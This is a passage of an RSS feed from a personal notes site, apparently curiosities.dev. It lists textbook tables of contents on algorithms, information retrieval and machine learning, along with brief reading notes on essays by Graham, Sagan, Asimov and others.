&lt;a href="http://www.cs.cornell.edu/home/kleinber/networks-book/networks-book-ch12.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Bargaining and Power in Networks
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Information Networks and the World Wide Web&lt;/p&gt;</description></item><item><title>[ToDo] CS261: Optimization and Algorithmic Paradigms</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/cs261-optimization-and-algorithmic-paradigms/</link><pubDate>Fri, 01 Jan 2010 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/cs261-optimization-and-algorithmic-paradigms/</guid><description>&lt;ul&gt;
&lt;li&gt;Approximation algorithms for Vertex Cover and Metric Steiner Tree&lt;/li&gt;
&lt;li&gt;Approximation of General Steiner Tree&lt;/li&gt;
&lt;li&gt;Versions of the Traveling Salesman Problem. Eulerian loops.&lt;/li&gt;
&lt;li&gt;1.5-approximate Algorithm for Metric TSP. The Set Cover Problem.&lt;/li&gt;
&lt;li&gt;Introduction to Linear Programming&lt;/li&gt;
&lt;li&gt;Linear Programming Duality&lt;/li&gt;
&lt;li&gt;Linear Programming Relaxation of Vertex Cover&lt;/li&gt;
&lt;li&gt;Linear Programming Relaxation of Set Cover&lt;/li&gt;
&lt;li&gt;The Maximum Flow - Minimum Cut Theorem&lt;/li&gt;
&lt;li&gt;Maximum Flow Algorithms: Choosing the Fattest Augmenting Path&lt;/li&gt;
&lt;li&gt;Edmonds-Karp and Push-Relabel Algorithms&lt;/li&gt;
&lt;li&gt;Analysis of the Push-Relabel Algorithm&lt;/li&gt;
&lt;li&gt;Algorithms for the Global Min-Cut Problem&lt;/li&gt;
&lt;li&gt;Algorithms for Maximum Matching and Vertex Cover in Bipartite Graphs&lt;/li&gt;
&lt;li&gt;The Linear Programming Formulation of Maximum Cut and its Dual&lt;/li&gt;
&lt;li&gt;Multi-commodity Flows and the Sparsest Cut Problem&lt;/li&gt;
&lt;li&gt;Introduction to Online Algorithms&lt;/li&gt;
&lt;li&gt;Using Expert Advice&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 CS261: Optimization and Algorithmic Paradigms&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Luca Trevisan.
 
 
 
 
 
 &lt;a href="https://people.eecs.berkeley.edu/~luca/cs261/#notes" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=people.eecs.berkeley.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;people.eecs.berkeley.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>[ToDo] Introduction to Algorithms [CLRS]</title><link>https://www.curiosities.dev/todo/computer-science/clrs-intro-to-algorithms/</link><pubDate>Fri, 31 Jul 2009 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/clrs-intro-to-algorithms/</guid><description>&lt;p&gt;Introduction&lt;/p&gt;
&lt;p&gt;Mathematical Foundations&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Growth of Functions&lt;/li&gt;
&lt;li&gt;Summations&lt;/li&gt;
&lt;li&gt;Recurrences&lt;/li&gt;
&lt;li&gt;Sets, etc.&lt;/li&gt;
&lt;li&gt;Counting and Probability&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sorting and Order Statistics&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Heapsort&lt;/li&gt;
&lt;li&gt;Quicksort&lt;/li&gt;
&lt;li&gt;Sorting in Linear Time&lt;/li&gt;
&lt;li&gt;Medians and Order Statistics&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Data Structures&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Elementary Data Structures&lt;/li&gt;
&lt;li&gt;Hash Tables&lt;/li&gt;
&lt;li&gt;Binary Search Trees&lt;/li&gt;
&lt;li&gt;Red-Black Trees&lt;/li&gt;
&lt;li&gt;Augmenting Data Structures&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Advanced Design and Analysis Techniques&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dynamic Programming&lt;/li&gt;
&lt;li&gt;Greedy Algorithms&lt;/li&gt;
&lt;li&gt;Amortized Analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Advanced Data Structures&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;B-Trees&lt;/li&gt;
&lt;li&gt;Binomial Heaps&lt;/li&gt;
&lt;li&gt;Fibonacci Heaps&lt;/li&gt;
&lt;li&gt;Data Structures for Disjoint Sets&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Graph Algorithms&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Elementary Graph Algorithms&lt;/li&gt;
&lt;li&gt;Minimum Spanning Trees&lt;/li&gt;
&lt;li&gt;Single-Source Shortest Paths&lt;/li&gt;
&lt;li&gt;All-Pairs Shortest Paths&lt;/li&gt;
&lt;li&gt;Maximum Flow&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Selected Topics&lt;/p&gt;</description></item><item><title>[ToDo] An Introduction to Information Retrieval</title><link>https://www.curiosities.dev/todo/computer-science/information-retrieval/</link><pubDate>Wed, 01 Apr 2009 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/information-retrieval/</guid><description>&lt;ul&gt;
&lt;li&gt;Boolean retrieval&lt;/li&gt;
&lt;li&gt;The term vocabulary &amp;amp; postings lists&lt;/li&gt;
&lt;li&gt;Dictionaries and tolerant retrieval&lt;/li&gt;
&lt;li&gt;Index construction&lt;/li&gt;
&lt;li&gt;Index compression&lt;/li&gt;
&lt;li&gt;Scoring, term weighting &amp;amp; the vector space model&lt;/li&gt;
&lt;li&gt;Computing scores in a complete search system&lt;/li&gt;
&lt;li&gt;Evaluation in information retrieval&lt;/li&gt;
&lt;li&gt;Relevance feedback &amp;amp; query expansion&lt;/li&gt;
&lt;li&gt;XML retrieval&lt;/li&gt;
&lt;li&gt;Probabilistic information retrieval&lt;/li&gt;
&lt;li&gt;Language models for information retrieval&lt;/li&gt;
&lt;li&gt;Text classification &amp;amp; Naive Bayes&lt;/li&gt;
&lt;li&gt;Vector space classification&lt;/li&gt;
&lt;li&gt;Support vector machines &amp;amp; machine learning on documents&lt;/li&gt;
&lt;li&gt;Flat clustering	html&lt;/li&gt;
&lt;li&gt;Hierarchical clustering&lt;/li&gt;
&lt;li&gt;Matrix decompositions &amp;amp; latent semantic indexing&lt;/li&gt;
&lt;li&gt;Web search basics&lt;/li&gt;
&lt;li&gt;Web crawling and indexes&lt;/li&gt;
&lt;li&gt;Link analysis&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 An Introduction to Information Retrieval&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Christopher D. Manning; Prabhakar Raghavan; Hinrich Schütze.
 
 
 
 
 
 &lt;a href="https://nlp.stanford.edu/IR-book/#anchor*" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=nlp.stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;nlp.stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Apr 1, 2009.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>A Kind Word for Bullshit: The Problem of Academic Writing</title><link>https://www.curiosities.dev/knowing/calling-bullshit/01-intro-to-bullshit/eubanks-schaeffer-problem-of-academic-writing/</link><pubDate>Fri, 01 Feb 2008 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/calling-bullshit/01-intro-to-bullshit/eubanks-schaeffer-problem-of-academic-writing/</guid><description>&lt;h2 id="method-of-definition-prototype-semantics"&gt;Method of Definition: Prototype Semantics&lt;/h2&gt;
&lt;p&gt;There is a cognitive science view of categorization that says:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Category members need not necessarily share a single set of distinguishing features, and may exhibit features to greater/lesser degrees&lt;/li&gt;
&lt;li&gt;Some category members are more typical than others&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;This reasoning goes against how I mentally picture a category.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Although lies may have identifiable features such as misrepresentation of belief, intent to deceive, falseness and reprehensible motives, not all features are always present, and not all features are equally prominent in every instance.&lt;/p&gt;</description></item><item><title>[ToDo] The Princeton Companion to Mathematics</title><link>https://www.curiosities.dev/todo/mathematics/princeton-companion-to-mathematics/</link><pubDate>Tue, 01 Jan 2008 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/mathematics/princeton-companion-to-mathematics/</guid><description>&lt;p&gt;
&lt;a href="https://www.curiosities.dev/mathematics/the-princeton-guide-to-mathematics/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Notes
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;Part I Introduction:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ What Is Mathematics About?&lt;/li&gt;
&lt;li&gt;✅ The Language and Grammar of Mathematics&lt;/li&gt;
&lt;li&gt;Some Fundamental Mathematical Definitions&lt;/li&gt;
&lt;li&gt;The General Goals of Mathematical Research&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Part II The Origins of Modern Mathematics:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From Numbers to Number Systems&lt;/li&gt;
&lt;li&gt;Geometry&lt;/li&gt;
&lt;li&gt;The Development of Abstract Algebra&lt;/li&gt;
&lt;li&gt;Algorithms&lt;/li&gt;
&lt;li&gt;The Development of Rigor in Mathematical Analysis&lt;/li&gt;
&lt;li&gt;The Development of the Idea of Proof&lt;/li&gt;
&lt;li&gt;The Crisis in the Foundations of Mathematics&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Part III Mathematical Concepts:&lt;/p&gt;</description></item><item><title>The Princeton Companion to Mathematics [Gowers, Timothy]</title><link>https://www.curiosities.dev/mathematics/the-princeton-guide-to-mathematics/_meta/</link><pubDate>Tue, 01 Jan 2008 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/the-princeton-guide-to-mathematics/_meta/</guid><description/></item><item><title>The Black Swan [Taleb, Nicholas Nassim]</title><link>https://www.curiosities.dev/business/taleb-the-black-swan/_meta/</link><pubDate>Tue, 17 Apr 2007 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/taleb-the-black-swan/_meta/</guid><description/></item><item><title>[ToDo] Pattern Recognition and Machine Learning</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/pattern-recognition-and-machine-learning/</link><pubDate>Wed, 01 Feb 2006 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/pattern-recognition-and-machine-learning/</guid><description>&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Probability Distributions&lt;/li&gt;
&lt;li&gt;Linear Models for Regression&lt;/li&gt;
&lt;li&gt;Linear Models for Classification&lt;/li&gt;
&lt;li&gt;Neural Networks&lt;/li&gt;
&lt;li&gt;Kernel Methods&lt;/li&gt;
&lt;li&gt;Sparse Kernel Machines&lt;/li&gt;
&lt;li&gt;Graphical Models&lt;/li&gt;
&lt;li&gt;Mixture Models and EM&lt;/li&gt;
&lt;li&gt;Approximate Inference&lt;/li&gt;
&lt;li&gt;Sampling Methods&lt;/li&gt;
&lt;li&gt;Continuous Latent Variables&lt;/li&gt;
&lt;li&gt;Sequential Data&lt;/li&gt;
&lt;li&gt;Combining Models&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Appendix&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Data Sets&lt;/li&gt;
&lt;li&gt;Probability Distributions&lt;/li&gt;
&lt;li&gt;Properties of Matrices&lt;/li&gt;
&lt;li&gt;Calculus of Variations&lt;/li&gt;
&lt;li&gt;Lagrange Multipliers&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Pattern Recognition and Machine Learning&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Christopher M. Bishop.
 
 
 
 
 &lt;a href="https://www.microsoft.com/en-us/research/uploads/prod/2006/01/Bishop-Pattern-Recognition-and-Machine-Learning-2006.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.microsoft.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.microsoft.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Feb 1, 2006.
 
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>The Submarine [Paul Graham]</title><link>https://www.curiosities.dev/business/optimism_and_deception/2005-04-01-the-submarine/</link><pubDate>Fri, 01 Apr 2005 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/optimism_and_deception/2005-04-01-the-submarine/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Graham2005'&gt;
 
 The Submarine&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Paul Graham.
 
 
 
 
 &lt;a href="http://www.paulgraham.com/submarine.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.paulgraham.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.paulgraham.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Apr 1, 2005.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Many people rely on social proof to form opinions; therein lies the power of PR.&lt;/p&gt;
&lt;p&gt;PR firms are not dishonest for they need good reputation with news outlets. But PR firms serve overworked reporters with selective truths.&lt;/p&gt;
&lt;p&gt;The firms feed the same story to different publications at once. Readers see similar stories in multiple places and assume a new trend has come.&lt;/p&gt;</description></item><item><title>[ToDo] Concepts, Techniques, and Models of Computer Programming</title><link>https://www.curiosities.dev/todo/computer-science/concepts-techniques-and-models-of-computer-programming/</link><pubDate>Thu, 05 Jun 2003 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/concepts-techniques-and-models-of-computer-programming/</guid><description>&lt;p&gt;Introduction&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Introduction to Programming Concepts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;General Computation Models&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Declarative Computation Model&lt;/li&gt;
&lt;li&gt;Declarative Programming Techniques&lt;/li&gt;
&lt;li&gt;Declarative Concurrency&lt;/li&gt;
&lt;li&gt;Message-Passing Concurrency&lt;/li&gt;
&lt;li&gt;Explicit State&lt;/li&gt;
&lt;li&gt;Object-Oriented Programming&lt;/li&gt;
&lt;li&gt;Shared-State Concurrency&lt;/li&gt;
&lt;li&gt;Relational Programming&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Specialized Computation Models&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Graphical User Interface Programming&lt;/li&gt;
&lt;li&gt;Distributed Programming&lt;/li&gt;
&lt;li&gt;Constraint Programming&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Semantics&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Language Semantics&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Appendices&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mozart System Development Environment&lt;/li&gt;
&lt;li&gt;Basic Data Types&lt;/li&gt;
&lt;li&gt;Language Syntax&lt;/li&gt;
&lt;li&gt;General Computation Model&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Concepts, Techniques, and Models of Computer Programming&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Peter Van Roy; Seif Haridi.
 
 
 
 Swedish Institute of Computer Science.
 
 &lt;a href="https://www.info.ucl.ac.be/~pvr/VanRoyHaridi2003-book.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.info.ucl.ac.be" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.info.ucl.ac.be&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jun 5, 2003.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>[ToDo] Design Patterns: Elements of Reusable Object-Oriented Software</title><link>https://www.curiosities.dev/todo/computer-science/design-patterns-reusable-object-oriented-software/</link><pubDate>Fri, 01 Aug 1997 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/design-patterns-reusable-object-oriented-software/</guid><description>&lt;p&gt;
&lt;a href="https://www.curiosities.dev/computer-science/gang-of-four-design-patterns/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Notes
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;A Case Study: Designing a Document Editor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Design Pattern Catalog&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Creational Patterns: Abstract Factory; Builder; Factory Method; Prototype;
Singleton.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Structural Patterns: Adapter; Bridge; Composite; Decorator; Façade; Flyweight;
Proxy.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Behavioral Patterns: Chain of Responsibility; Command; Interpreter; Iterator;
Mediator; Memento; Observer; State; Strategy; Template Method; Visitor.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Conclusion&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Design Patterns: Elements of Reusable Object-Oriented Software&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Erich Gamma; Richard Helm; Ralph Johnson; John Vlissides.
 
 
 
 
 
 &lt;a href="http://www.uml.org.cn/c%2B%2B/pdf/DesignPatterns.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.uml.org.cn" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.uml.org.cn&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Aug 1, 1997.
 
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>How Dentists Rip Us Off [William Ecenbarger]</title><link>https://www.curiosities.dev/health-and-medicine/1997-02-01-how-dentists-rip-us-off/</link><pubDate>Sat, 01 Feb 1997 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/1997-02-01-how-dentists-rip-us-off/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Ecenbarger'&gt;
 
 How Dentists Rip Us Off&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 William Ecenbarger.
 
 
 
 
 &lt;a href="https://digitalsmiledesign.com/files/Old-Website-Assets/PDF/How-Dentists-Rip-Us-Off.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=digitalsmiledesign.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;digitalsmiledesign.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Feb 1, 1997.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;This piece was brought up in 
&lt;a href="https://www.theatlantic.com/magazine/archive/2019/05/the-trouble-with-dentistry/586039/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 &amp;ldquo;Is Dentistry a Science?&amp;rdquo;
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 (
&lt;a href="https://www.curiosities.dev/health-and-medicine/2019-05-01-is-dentistry-a-science/"
 
 
 
 &gt;
 summary
 
&lt;/a&gt;
). Looks like this piece has done its rounds in dentist online spaces.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Ecenbarger pitch: &lt;em&gt;moving into the area; had done gum surgery; had a direct-reimbursement program to cover expenses; interested in good oral health; no desire for cosmetic improvements&lt;/em&gt;&lt;/p&gt;</description></item><item><title>A Zooming Web Browser</title><link>https://www.curiosities.dev/computer-science/www/1996-11-05-a-zooming-browser/</link><pubDate>Tue, 05 Nov 1996 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/www/1996-11-05-a-zooming-browser/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-graduation-cap' cited-by-count='' is-main=''&gt;
 &lt;cite id='Bederson1996'&gt;
 
 A Zooming Web Browser&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Bederson, Benjamin B.; Hollan, James D.; Stewart, Jason; Rogers, David; Vick, David; Ring, Laura; Grose, Eric; Forsythe, Chris.
 
 Multimedia Computing and Networking, 1996. Vol. 2667.
 
 
 
 &lt;a href="https://www.osti.gov/servlets/purl/454001" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.osti.gov" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.osti.gov&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.connectedpapers.com/main/05064f81c4a6352889d2057214e75bb729f39c2f/Zooming-Web-browser/list" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.connectedpapers.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.connectedpapers.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-graduation-cap' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;















&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Interesting because these were the early days of the web, back when Netscape was
king. The web could have evolved in different ways. Why didn&amp;rsquo;t the zooming
browser catch on?&lt;/p&gt;</description></item><item><title>The Fine Art of Baloney Detection [Sagan]</title><link>https://www.curiosities.dev/knowing/calling-bullshit/02-spotting-bullshit/01-sagan-the-fine-art-of-baloney-detection/</link><pubDate>Mon, 01 Jan 1996 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/calling-bullshit/02-spotting-bullshit/01-sagan-the-fine-art-of-baloney-detection/</guid><description>&lt;p&gt;Unfalsifiable but favorable propositions invite baloney. For example, one might
want to believe in life after death, without being interested in evidence for
it. However, one shouldn&amp;rsquo;t validate the pretensions of mediums on such a belief.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;
&lt;a href="https://en.wikipedia.org/wiki/The_Leftovers_%28TV_series%29"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 The LeftOvers (TV
Series)
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 explores this
a bit. John pretends to be a medium, but actually has a hidden mic and earpiece
to Laurie, who then searches the internet for details on the person of interest.
Sure, the medium part is baloney, but it helps other characters in the show get
closure.&lt;/p&gt;</description></item><item><title>[ToDo] Paradigms of Artificial Intelligence Programming: Case Studies in Common LISP</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/paradigms-of-ai-programming/</link><pubDate>Wed, 01 Jan 1992 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/paradigms-of-ai-programming/</guid><description>&lt;p&gt;The Common Lisp Programming Language&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Introduction to Lisp&lt;/li&gt;
&lt;li&gt;A Simple Lisp Program&lt;/li&gt;
&lt;li&gt;Overview of Lisp&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Early AI Programs&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GPS: The General Problem Solver&lt;/li&gt;
&lt;li&gt;Eliza: Dialog with a Machine&lt;/li&gt;
&lt;li&gt;Building Software Tools&lt;/li&gt;
&lt;li&gt;Student: Solving Algebra Word Problems&lt;/li&gt;
&lt;li&gt;Symbolic Mathematics: A Simplification Program&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tools and Techniques&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Efficiency Issues&lt;/li&gt;
&lt;li&gt;Low-Level Efficiency Issues&lt;/li&gt;
&lt;li&gt;Logic Programming&lt;/li&gt;
&lt;li&gt;Compiling Logic Programs&lt;/li&gt;
&lt;li&gt;Object-Oriented Programming&lt;/li&gt;
&lt;li&gt;Knowledge Representation and Reasoning&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Advanced AI Programs&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Symbolic Mathematics with Canonical Forms&lt;/li&gt;
&lt;li&gt;Expert Systems&lt;/li&gt;
&lt;li&gt;Line-Diagram Labeling by Constraint Satisfaction&lt;/li&gt;
&lt;li&gt;Search and the Game of Othello&lt;/li&gt;
&lt;li&gt;Introduction to Natural Language&lt;/li&gt;
&lt;li&gt;Unification Grammars&lt;/li&gt;
&lt;li&gt;A Grammar of English&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Rest of Lisp&lt;/p&gt;</description></item><item><title>[Summary] (Asimov) The Relativity of Wrong</title><link>https://www.curiosities.dev/knowing/1989-09-01-asimov-relativity-of-wrong/</link><pubDate>Fri, 01 Sep 1989 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/1989-09-01-asimov-relativity-of-wrong/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Asimov1989'&gt;
 
 The Relativity of Wrong&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Isaac Asimov.
 
 
 
 
 
 &lt;a href="http://chem.tufts.edu/answersinscience/relativityofwrong.htm" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=chem.tufts.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;chem.tufts.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Sep 1, 1989.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

